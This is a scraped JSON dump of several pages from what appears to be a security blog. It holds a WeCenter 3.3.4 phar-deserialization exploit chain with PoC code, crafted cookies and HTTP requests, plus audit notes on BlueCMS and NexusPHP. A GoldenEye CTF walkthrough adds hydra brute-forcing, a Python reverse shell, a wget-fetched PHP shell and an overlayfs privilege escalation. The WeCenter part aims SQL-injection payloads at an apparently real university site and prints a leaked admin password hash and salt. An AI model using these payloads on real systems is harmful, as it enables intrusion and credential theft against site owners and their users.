body=\u0026ldquo;WeCenter 3.3.4\u0026rdquo;\nThe following vulnerabilities all target the WeCenter 3.3.4 version\nConfiguration requirements Disable**phar.readonly**\nphp --ri Phar Check the phar settings; phar.readonly must be disabled — disable it in php.ini and restart apache\nArbitrary file deletion reproduction process An arbitrary file deletion exists in the system/Zend/Http/Response/Stream.php:__destruct() method.\n\u0026lt;?php class Zend_Http_Response_Stream { protected $_cleanup; protected $stream_name; public function __construct($stream_name) { $this-\u0026gt;_cleanup = true; $this-\u0026gt;stream_name = $stream_name; } } $stream_name = \u0026#39;/var/www/html/wecenter334/shell.php\u0026#39;; $evilobj = new Zend_Http_Response_Stream($stream_name); // phar.readonly cannot be set via this statement: init_set(\u0026#34;phar.readonly\u0026#34;,0); $filename = \u0026#39;poc.phar\u0026#39;;// the suffix must be phar, otherwise the program will not run file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar-\u0026gt;startBuffering(); $phar-\u0026gt;setStub(\u0026#34;GIF89a\u0026lt;?php __HALT_COMPILER(); ?\u0026gt;\u0026#34;); $phar-\u0026gt;setMetadata($evilobj); $phar-\u0026gt;addFromString(\u0026#34;foo.txt\u0026#34;,\u0026#34;bar\u0026#34;); $phar-\u0026gt;stopBuffering(); ?\u0026gt; ref:WeCenter 3.3.4 front-end SQL injection \u0026amp; arbitrary file deletion \u0026amp; RCE - WEB code audit (Scripts Security) - T00LS\nRCE reproduction process PHP deserialization notes\nRegister an account\nSkipped.. Generate the Phar file //PoC \u0026lt;?php class AWS_MODEL{ private $_shutdown_query = array(); public function __construct(){ $this-\u0026gt;_shutdown_query[\u0026#39;test\u0026#39;] = \u0026#34;SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)\u0026#34;; } } $a = new AWS_MODEL; $phar = new Phar(\u0026#34;2.phar\u0026#34;); $phar-\u0026gt;startBuffering(); $phar-\u0026gt;setStub(\u0026#34;GIF89a\u0026#34;.\u0026#34;__HALT_COMPILER();\u0026#34;); $phar-\u0026gt;setMetadata($a); $phar-\u0026gt;addFromString(\u0026#34;test.txt\u0026#34;,\u0026#34;123\u0026#34;); $phar-\u0026gt;stopBuffering(); rename(\u0026#34;2.phar\u0026#34;,\u0026#34;shell.gif\u0026#34;); ?\u0026gt; Upload the image payload Upload the gif image generated above in the editor and note the returned url, as shown below\n{\u0026#34;uploaded\u0026#34;:1,\u0026#34;fileName\u0026#34;:\u0026#34;shell.gif\u0026#34;,\u0026#34;url\u0026#34;:\u0026#34;\\/uploads\\/question\\/20200322\\/5594439edbe52727eb65d0dff1d0a8c2.gi Construct the malicious deserialization Generate and set the WXConnect value in the COOKIE, replacing username and headimgurl with your own below\n//generate cookie \u0026lt;?php $arr = array(); $arr[\u0026#39;access_token\u0026#39;] = array(\u0026#39;openid\u0026#39; =\u0026gt; \u0026#39;1\u0026#39;); $arr[\u0026#39;access_user\u0026#39;] = array(); $arr[\u0026#39;access_user\u0026#39;][\u0026#39;openid\u0026#39;] = 1; $arr[\u0026#39;access_user\u0026#39;][\u0026#39;nickname\u0026#39;] = \u0026#39;mnbv\u0026#39;;//mnbv $arr[\u0026#39;access_user\u0026#39;][\u0026#39;headimgurl\u0026#39;] = \u0026#39;phar://uploads/question/20200322/5594439edbe52727eb65d0dff1d0a8c2.gif\u0026#39;; echo json_encode($arr); ?\u0026gt; First send the WeChat binding request\nGET /?/m/weixin/binding/ HTTP/1.1 (add the Cookie: note that __WXConnect must be replaced with the actual value) __WXConnect={\u0026#34;access_token\u0026#34;:{\u0026#34;openid\u0026#34;:\u0026#34;1\u0026#34;},\u0026#34;access_user\u0026#34;:{\u0026#34;openid\u0026#34;:1,\u0026#34;nickname\u0026#34;:\u0026#34;mnbv\u0026#34;,\u0026#34;headimgurl\u0026#34;:\u0026#34;phar:\\/\\/uploads\\/question\\/20200322\\/5594439edbe52727eb65d0dff1d0a8c2.gif\u0026#34;}} Once it says the binding succeeded, sync once more\nGET /?/account/ajax/synch_img/ HTTP/1.1 (add the Cookie: note that __WXConnect must be replaced with the actual value) __WXConnect={\u0026#34;access_token\u0026#34;:{\u0026#34;openid\u0026#34;:\u0026#34;1\u0026#34;},\u0026#34;access_user\u0026#34;:{\u0026#34;openid\u0026#34;:1,\u0026#34;nickname\u0026#34;:\u0026#34;mnbv\u0026#34;,\u0026#34;headimgurl\u0026#34;:\u0026#34;phar:\\/\\/uploads\\/question\\/20200322\\/5594439edbe52727eb65d0dff1d0a8c2.gif\u0026#34;}} Successful response\nHTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sun, 22 Mar 2020 15:20:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/7.3.5 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 22 Mar 2020 15:20:21 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Set-Cookie: vou__WXConnect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly Content-Length: 2096 //WeChat binding succeeded Failure 1 — different database structure (possibly a different wecenter version)\nHTTP/1.1 500 Internal Server Error Server: nginx/1.14.2 Date: Sun, 22 Mar 2020 15:20:23 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/7.3.5 Expires: Mon, 26 Jul 1997 05:00:00 GMT Last-Modified: Sun, 22 Mar 2020 15:20:23 GMT Cache-Control: no-cache, must-revalidate Pragma: no-cache Content-Length: 266 Database error ------ SQL: UPDATE `aws_system_setting` SET `value` = \u0026#39;s:45:\u0026amp;quot;jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\u0026amp;quot;;\u0026#39; WHERE (`varname` = \u0026#39;allowed_upload_types\u0026#39;) Error Message: Mysqli prepare error: Table \u0026#39;wecenter.aws_system_setting\u0026#39; doesn\u0026#39;t exist Failure 2 — format mismatch\nHTTP/1.1 200 OK Server: nginx/1.16.1 Date: Sun, 22 Mar 2020 15:06:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/7.1.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 62 {\u0026#34;error\u0026#34;:1,\u0026#34;msg\u0026#34;:\u0026#34;\\u6587\\u4ef6\\u7c7b\\u578b\\u4e0d\\u7b26\\u5408\u0026#34;} Vulnerability fix Just delete the action named synch_img under app/account/ajax.php — removing either the route or the function works\nPostscript phar deserialization phar deserialization\nWith an affected function($v), if $v is controllable, passing in a file parsed via the phar pseudo-protocol completes the deserialization\nList of affected functions:\nregex (fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\\((.*?)\\$(.*?)\\) \u0026lt;?php class AWS_MODEL { private $_shutdown_query; function __construct() { $this-\u0026gt;_shutdown_query = [ \u0026#34;UPDATE `aws_system_setting` SET `value` = \u0026#39;s:45:\\\u0026#34;jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\\\u0026#34;;\u0026#39; WHERE (`varname` = \u0026#39;allowed_upload_types\u0026#39;)\u0026#34; ]; } } $arr = [ \u0026#39;errcode\u0026#39; =\u0026gt; 1, new AWS_MODEL() ]; echo urlencode(base64_encode(serialize($arr))); ?\u0026gt; # extension UPDATE `aws_system_setting` SET `value` = \u0026#39;s:45:\\\u0026#34;jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\\\u0026#34;;\u0026#39; WHERE (`varname` = \u0026#39;allowed_upload_types\u0026#39;) wen.sntcm.edu.cn//?/m/weixin/authorization/\u0026amp;state=OAUTH\u0026amp;access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D # payload # \u0026#34;select 1 from(select count(*),concat((select concat(password,0x23,salt,0x23) from aws_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#\u0026#34; wen.sntcm.edu.cn//?/m/weixin/authorization/\u0026amp;state=OAUTH\u0026amp;access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjE2Njoic2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgY29uY2F0KHBhc3N3b3JkLDB4MjMsc2FsdCwweDIzKSBmcm9tIGF3c191c2VycyBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhIyI7fX19 Database error ------ SQL: select 1 from(select count(*),concat((select concat(password,0x23,salt,0x23) from aws_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a# Error Message: Mysqli statement execute error : Duplicate entry \u0026#39;2bc37032aa4801a8e95d42e9dd70a4da#mvsh#1\u0026#39; for key \u0026#39;group_key\u0026#39; reference WeCenter top_id SQL injection vulnerability (20160428) A certain Center v3.3.4: from front-end deserialization to arbitrary SQL statement execution to front-end RCE ","permalink":"https://www.unc.la/en/posts/penetration/xqnabk/","summary":"\u003cp\u003e\u003ca href=\"https://www.yuque.com/docs/5555418#Fx13J\"\u003eThis was a Yuque card, click the link to view\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"wecenter-code-audit\"\u003eWeCenter Code Audit\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003eA code audit of the older \u003ca href=\"http://www.wecenter.com/?copyright\"\u003eWeCenter 3.0.1\u003c/a\u003e release, \u003cdel\u003eplus pwning a certain\u003c/del\u003e\u003ccode\u003e~~wecenter~~\u003c/code\u003e\u003cdel\u003emachine along the way\u003c/del\u003e (learning the MVC architecture)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"overview\"\u003eOverview\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThe global anti-injection function has no flaws. However, if the database encoding is \u003ccode\u003egbk\u003c/code\u003e, you can pull off a wide-byte attack\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIt uses \u003ccode\u003emysql_real_escape_string\u003c/code\u003e; we need to call mysql_set_charset before executing SQL statements to set the current connection\u0026rsquo;s character set to gbk. Otherwise it still cannot defend against wide-character injection.\u003c/p\u003e","title":"WeCenter Code Audit"},{"content":"0x00 Basic Shortcuts Sublime\nNext word: Ctrl+D Bookmarks: Ctrl+F2, F2 Show function: Ctrl+E Select current line: Ctrl+L Matching bracket: Ctrl+M 0x01 Repeated Installation Possible After a normal installation completes, the system can be installed again, because install.lock is never generated.\nAn article on freebuf claims the problem lies at line 158 of install/index.php, where the is_writable function is used incorrectly.\nHowever, after verification, I found this function is not what causes the repeated-installation issue.\nFirst, let\u0026rsquo;s check the official PHP manual:\nTrying to dump the boolean value in the code, it\u0026rsquo;s true! So the check at line 158 is not the failure point.\nThe reason install.lock isn\u0026rsquo;t generated is not because of a double include, nor because the same variable is defined twice.\nA local test including the file twice runs normally:\nThe real reason is that an error occurred: execution stops at line 156, so the logic after line 160 that writes install.lock is never reached.\nBesides this, because the encoding is set to gbk, the whole application is vulnerable to gbk wide-byte injection.\n0x02 Global gbk Wide-Byte Injection At admin\\include\\common.inc.php:26, user input is uniformly processed with addslashes.\nIn install/index.php, filtering is missing, so the escaping backslash \\ gets swallowed, leading to injection.\n0x03 Getting a Shell at the Installation Step Using **%df + \u0026quot;/\u0026quot; =\u0026gt; \u0026quot;運\u0026quot;**, the escaping \u0026lsquo;' is consumed and malicious content is injected directly. Note that the percent sign in %df will be URL-encoded as %25, so you need to change it back to % in burp. Otherwise the malicious code cannot be injected, as shown:\n0x04 XSS in Multiple Places The parameters in the user profile for MSN, QQ, office phone, home phone, mobile, and address are all HTML-entity escaped, so there is no XSS there.\nHowever, under \u0026ldquo;User Management \u0026raquo; My Profile\u0026rdquo;, user input is written directly into the page, so XSS exists everywhere the user\u0026rsquo;s avatar can be seen, such as the homepage.\n0x05 Command Execution in uccode.class.php First, a quick introduction to backreferences in PHP regex matching, usually written as ${1}, ${2} or \\\\1, \\\\2. The two usage styles are shown in the image below.\nA backreference is a mechanism in preg_replace($pattern, $replacement, $subject) that recombines the capturing groups (atomic units) captured in $pattern.\nFor example, at line 35 above, \\\\1 stands for (=((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|ed2k|thunder|synacast){1}:\\/\\/|www\\.)([^\\[\\\u0026quot;']+?))?, and \\\\5\nThe problem here is the use of the preg_replace /e modifier. A quick search shows this mode can lead to command execution — PHP evaluates $replacement as PHP code — so this is our code injection point.\nfunction complie($message) { $message = htmlspecialchars($message); if(strpos($message, \u0026#39;[/code]\u0026#39;) !== FALSE) { $message = preg_replace(\u0026#34;/\\s*\\[code\\](.+?)\\[\\/code\\]\\s*/ies\u0026#34;, \u0026#34;\\$this-\u0026gt;codedisp(\u0026#39;\\\\1\u0026#39;)\u0026#34;, $message); } if(strpos($message, \u0026#39;[/url]\u0026#39;) !== FALSE) { $message = preg_replace(\u0026#34;/\\[url(=((https?|ftp|gopher|news|telnet|rtsp|mms|callto|bctp|ed2k|thunder|synacast){1}:\\/\\/|www\\.)([^\\[\\\u0026#34;\u0026#39;]+?))?\\](.+?)\\[\\/url\\]/ies\u0026#34;, \u0026#34;\\$this-\u0026gt;parseurl(\u0026#39;\\\\1\u0026#39;, \u0026#39;\\\\5\u0026#39;)\u0026#34;, $message); } if(strpos($message, \u0026#39;[/email]\u0026#39;) !== FALSE) { $message = preg_replace(\u0026#34;/\\[email(=([a-z0-9\\-_.+]+)@([a-z0-9\\-_]+[.][a-z0-9\\-_.]+))?\\](.+?)\\[\\/email\\]/ies\u0026#34;, \u0026#34;\\$this-\u0026gt;parseemail(\u0026#39;\\\\1\u0026#39;, \u0026#39;\\\\4\u0026#39;)\u0026#34;, $message); } Postscript There are a few other interesting spots, but they can\u0026rsquo;t be chained together for exploitation. I\u0026rsquo;ve collected them here for reference.\nPHP Weak Typing Setting aside the parts that violate coding standards (binary operators should have one space on each side, after all), this code also incorrectly uses the loose comparison == operator: when both sides take special values, the check can still pass.\n","permalink":"https://www.unc.la/en/posts/penetration/rvdfk6/","summary":"\u003ch1 id=\"0x00-basic-shortcuts\"\u003e0x00 Basic Shortcuts\u003c/h1\u003e\n\u003cp\u003eSublime\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNext word: Ctrl+D\u003c/li\u003e\n\u003cli\u003eBookmarks: Ctrl+F2, F2\u003c/li\u003e\n\u003cli\u003eShow function: Ctrl+E\u003c/li\u003e\n\u003cli\u003eSelect current line: Ctrl+L\u003c/li\u003e\n\u003cli\u003eMatching bracket: Ctrl+M\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"0x01-repeated-installation-possible\"\u003e0x01 Repeated Installation Possible\u003c/h1\u003e\n\u003cp\u003eAfter a normal installation completes, the system can be installed again, because install.lock is never generated.\u003c/p\u003e\n\u003cp\u003eAn article on freebuf claims the problem lies at line 158 of install/index.php, where the is_writable function is used incorrectly.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1578795057671-7c251453-b762-4cc1-90e1-3db6d081431c.png\"\u003e\u003c/p\u003e\n\u003cp\u003eHowever, after verification, I found this function is not what causes the repeated-installation issue.\u003c/p\u003e","title":"BlueCMS Code Audit Notes"},{"content":"NexusPHP is a resource-sharing CMS used for P2P downloading; the source code download link is https://github.com/ZJUT/NexusPHP\nPreliminary Analysis [\n](https://github.com/ZJUT/NexusPHP)\nThis CMS has a global SQL-injection filtering function, sqlesc()\nnexusphp/include/globalfunctions.php #75\nGlobal filtering: SQL injection prevention #1. It escapes input with the MySQL anti-injection function and wraps the statement in single quotes, which makes it impossible to inject quotes or introduce variables ($ inside single quotes is not interpreted as a variable)\nGlobal filtering: SQL injection prevention #2. Integer casts are used frequently, forcibly converting values to numbers via addition\nImproper validation in the getip() function allows IP spoofing. First, the IP-retrieval function is written like this: \u0026lt;?php function getip() { if (isset($_SERVER)) { if (isset($_SERVER[\u0026#39;HTTP_X_FORWARDED_FOR\u0026#39;]) \u0026amp;\u0026amp; validip($_SERVER[\u0026#39;HTTP_X_FORWARDED_FOR\u0026#39;])) { $ip = $_SERVER[\u0026#39;HTTP_X_FORWARDED_FOR\u0026#39;]; } elseif (isset($_SERVER[\u0026#39;HTTP_CLIENT_IP\u0026#39;]) \u0026amp;\u0026amp; validip(...... ... ?\u0026gt; It takes the X_FORWARDED_FOR request header as the IP address — and this header is spoofable! Second, the logic in the validation function validip() overgeneralizes: it assumes that anything making ip2long() fail must be an IPv6 address\u0026hellip; In reality: any string that is not an IP makes it return False, meaning this point is fully controllable — lovely. Enough said, let\u0026rsquo;s start the audit.\n0x01 Controllable email content in the front-end password recovery flow, leading to stored XSS Following up on the IP-spoofing issue in the getip() function, let\u0026rsquo;s look for places that reference it\nWe find recover.php, which contains a password recovery feature\nheredoc\nPHP EOF (heredoc) usage notes: PHP EOF (heredoc) is a way of defining a string in command-line shells (such as sh, csh, ksh, bash, PowerShell, and zsh) and programming languages (like Perl, PHP, Python, and Ruby).\nAdd a snippet that prints the body, capture the request, modify the XFF header, and add an XSS payload\nSimulating the scenario of receiving the message in an email client — it\u0026rsquo;s the familiar XSS\n0x02 SQL injection in nowarn.php Requires being logged in and not being a regular user\nStarting at line 36 of nowarn.php, user input is concatenated directly into the SQL statement\n# payload for reference only (select*from(select sleep(10))x)# The only catch is that this injection point requires authentication\n0x03 SQL injection in linksmanage.php As shown in the figure, the key logic passes user variables straight in — it doesn\u0026rsquo;t even use the sqlesc filtering function\u0026hellip;\nThere are several other SQL injection points as well, all discoverable with regular expressions; you can refer to its CVE site — no need to repeat them here.\n0x04 Malicious SQL query risk In moforums.php, there is a query like the following\nsql_query(\u0026#34;UPDATE overforums SET sort = \u0026#34; . sqlesc($_POST[\u0026#39;sort\u0026#39;]) . \u0026#34;, name = \u0026#34; . sqlesc($_POST[\u0026#39;name\u0026#39;]). \u0026#34;, description = \u0026#34; . sqlesc($_POST[\u0026#39;desc\u0026#39;]). \u0026#34;, minclassview = \u0026#34; . sqlesc($_POST[\u0026#39;viewclass\u0026#39;]) . \u0026#34; WHERE id = \u0026#34;.sqlesc($_POST[\u0026#39;id\u0026#39;])) or sqlerr(__FILE__, __LINE__); One could consider using /* */ to comment out the middle portion, achieving the effect of executing a malicious statement\u0026hellip; though it\u0026rsquo;s only a risk, nothing more\u0026hellip;\nOther risk points iconv truncation Low versions: (by default) totally exploitable\nHigh versions: (conditionally) totally exploitable\nLet\u0026rsquo;s look at the official PHP documentation to see what it says about the iconv function\nIn PHP \u0026lt; 5.4.0, illegal characters cause truncation, returning only the content that could be decoded normally before the illegal string\nIn PHP \u0026gt;= 5.4.0, illegal characters cause an error and a return value of False, unless //IGNORE is appended to the output string — which is exactly the case in this CMS\nIn other words, we can control the output and use this behavior to bypass checks such as file-extension validation\nSummary Auditing this CMS, many spots turned out to be concatenations like the 0x02 injection, but they all require high privileges to reach the vulnerable code and inject, so they are of little value. The vast majority of parameters undergo forced type casting, and there are no common command-execution functions You can refer to these folks\u0026rsquo; CVEs and CNNVD — in 2017 a wave of mass-harvested bugs was reported, mainly XSS and SQL injection; repetitive work, rather dull Building on predecessors\u0026rsquo; work, this audit discovered the neat trick of using comments to reduce the number of queried columns in multi-parameter SQL cases — quite a few new techniques learned. ","permalink":"https://www.unc.la/en/posts/penetration/rf4gzd/","summary":"\u003cp\u003eNexusPHP is a resource-sharing CMS used for P2P downloading; the source code download link is \u003ca href=\"https://github.com/ZJUT/NexusPHP\"\u003ehttps://github.com/ZJUT/NexusPHP\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"preliminary-analysis\"\u003ePreliminary Analysis\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1637211384737-4c4a1237-f26a-4e34-8a50-c9abb5bc40c1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2021/png/166008/1637211540426-e9b7b402-a5ad-4e1b-b2ca-3d6a1ff29c83.png\"\u003e\u003c/p\u003e\n\u003cp\u003e[\u003c/p\u003e\n\u003cp\u003e](\u003ca href=\"https://github.com/ZJUT/NexusPHP\"\u003ehttps://github.com/ZJUT/NexusPHP\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eThis CMS has a global SQL-injection filtering function, \u003ccode\u003esqlesc()\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enexusphp/include/globalfunctions.php #75\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1578665090979-a178b3e4-c646-472a-bb10-fd5e69a0fc12.png\"\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eGlobal filtering: SQL injection prevention #1.\u003c/strong\u003e It escapes input with the MySQL anti-injection function and wraps the statement in single quotes, which makes it impossible to inject quotes or introduce variables ($ inside single quotes is not interpreted as a variable)\u003c/p\u003e","title":"NexusPHP Code Audit Notes"},{"content":"Information Gathering # 25/tcp open smtp | fingerprint-strings: | Hello: | 220 ubuntu GoldentEye SMTP Electronic-Mail agent |_ Syntax: EHLO hostname |_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, # 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: GoldenEye Primary Admin Server # 55006/tcp open ssl/pop3 Dovecot pop3d |_pop3-capabilities: RESP-CODES TOP CAPA AUTH-RESP-CODE SASL(PLAIN) USER PIPELINING UIDL | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Issuer: commonName=localhost/organizationName=Dovecot mail server | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:23:52 | Not valid after: 2028-04-23T03:23:52 | MD5: d039 2e71 c76a 2cb3 e694 ec40 7228 ec63 |_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77 |_ssl-date: TLS randomness does not represent time # 55007/tcp open pop3 Dovecot pop3d |_pop3-capabilities: RESP-CODES SASL(PLAIN) TOP PIPELINING STLS CAPA AUTH-RESP-CODE USER UIDL | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Issuer: commonName=localhost/organizationName=Dovecot mail server | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2018-04-24T03:23:52 | Not valid after: 2028-04-23T03:23:52 | MD5: d039 2e71 c76a 2cb3 e694 ec40 7228 ec63 |_SHA-1: 9d6a 92eb 5f9f e9ba 6cbd dc93 55fa 5754 219b 0b77 |_ssl-date: TLS randomness does not represent time Two ports were discovered; I tried logging in via SMTP on port 25, but it failed.\nBrute-Forcing the Web 401 Authentication Following the hints on the home page, I found a 401 authentication prompt.\nThen, inspecting the home page elements with F12, I found something interesting in one of the JS files:\n# HTML entity decoded result Boris:InvincibleHack3r Using this credential together with the 401 authentication page found earlier, I tried logging in with various usernames — all failed\u0026hellip; That shouldn\u0026rsquo;t be the case.\nNext, I tried the common technique of bypassing web authorization and authentication by tampering with HTTP requests, using POST, OPTIONS, and HEAD to attempt to bypass the 401 authentication. That also failed.\nFinally, with no other option, I prepared to brute-force the 401 authentication with the following configuration (good thing I added a lowercase \u0026ldquo;boris\u0026rdquo; to the username list):\nGot the result smoothly:\nBrute-Forcing the Mail Server Successfully got into the back end; the interface is shown below.\nSeeing this description (the source code also revealed two usernames), I set my sights on the POP3 mail server\nQualified GoldenEye Network Operator Supervisors: Natalya Boris Tried brute-forcing with hydra, using the fastrack wordlist that ships with Kali\nhydra -l boris -P /usr/share/wordlists/fasttrack.txt 192.168.111.5 -s55007 pop3 -V -I\nFrom the brute-force results, I got two sets of credentials. Logging into POP3, I dug through the email messages.\nPOP3 Commands For POP3 login, you can connect with netcat. Here I\u0026rsquo;m recording the commands for a plaintext POP3 connection\nThe default listening TCP port is 110\nUSER [username] Handles the username PASS [password] Handles the user password LIST [Msg#] Returns the number of messages and the size of each message; without a parameter it returns a list of messages RETR [Msg#] Returns the full text of the message identified by the parameter DELE [Msg#] Marks the message identified by the parameter for deletion, executed upon the quit command RSET Resets all messages marked for deletion, used to undo the DELE command QUIT Terminates the session Digging through the emails:\nOk, user creds are: username: xenia password: RCP90rulez! Boris verified her as a valid contractor so just create the account ok? And if you didn\u0026#39;t have the URL on outr internal Domain: severnaya-station.com/gnocertdir **Make sure to edit your host file since you usually work remote off-network.... Since you\u0026#39;re a Linux user just point this servers IP to severnaya-station.com in /etc/hosts. The email tells us to first bind the host, then visit severnaya-station.com\nAccessing the IP directly failed, but after binding the host it worked — it\u0026rsquo;s a MOOC (Moodle) site; I dug up a piece of information:\nHinting at email brute-forcing? Fine, you asked for it! Brute-forced with hydra again using the fastrack wordlist, and got results:\nLogged in with netcat again and checked the emails:\nGot yet another set of credentials, dr_doak-4England! — it felt like a teacher\u0026rsquo;s account, so I logged in to take a look.\nUnfortunately, it wasn\u0026rsquo;t a teacher\u0026rsquo;s account, and there was nowhere to import questions\u0026hellip;\nHowever, I soon found some more information in the private files:\nBased on the downloaded image, opening it showed nothing after the EOF — but I found something good in the EXIF data: a base64-encoded string\n\u0026gt;\u0026gt; file for-007.jpg for-007.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, description=eFdpbnRlcjE5OTV4IQ==, manufacturer=GoldenEye, resolutionunit=2, software=linux], baseline, precision 8, 313x212, components 3 \u0026gt;\u0026gt; echo \u0026#39;eFdpbnRlcjE5OTV4IQ==\u0026#39; |base64 -d xWinter1995x! Decoded it — the MOOC site admin\u0026rsquo;s password is in hand!\nGetting a Shell Used the upload point to upload a shell and got a reverse MSF shell:\n# /var/www/html/gnocertdir/ :/gnocertdir/draftfile.php/5/user/draft/810667993/reverse_php.php # /var/www/html/gnocertdir/draftfile.php/5/user/draft/810667993/reverse_php.php Command execution point:\n# Get a webshell # Home / ► Site administration / ► Server / ► System paths python -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;192.168.111.3\u0026#34;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\u0026#34;/bin/sh\u0026#34;,\u0026#34;-i\u0026#34;]);\u0026#39; # Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor# Set pspellshell as the spell engine # Bounce back the initial shell wget http://192.168.111.3/reverse_php.php chmod +x reverse_php.php php -f reverse_php.php TinyMCEHTMLeditor\nSpellengine\nPSpellshell\nDefault:GoogleSpell\neditortinymcespellengine\nSpelllanguagelist\n+English-en,Danish-da,uhninniDefault\neditortinymcespelllanguagelist\n+Englishen,Danishda,Duhih\n# overlayfs privilege escalation #\tref:https://www.exploit-db.com/download/37292.c sed -i \u0026#39;s/gcc/cc/g\u0026#39; overlay.c # gcc is not on the system, so cc is used instead #\tsed with the -i option replaces the first gcc on each line of the file with cc #\tThe trailing /g flag replaces every occurrence on each line: cc overlay.c -o overlay Privilege escalation succeeded ","permalink":"https://www.unc.la/en/posts/penetration/abdvq3/","summary":"\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# 25/tcp    open  smtp\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e| fingerprint-strings: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|   Hello: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|     220 ubuntu GoldentEye SMTP Electronic-Mail agent\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_    Syntax: EHLO hostname\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"gh\"\u003e# 80/tcp    open  http     Apache httpd 2.4.7 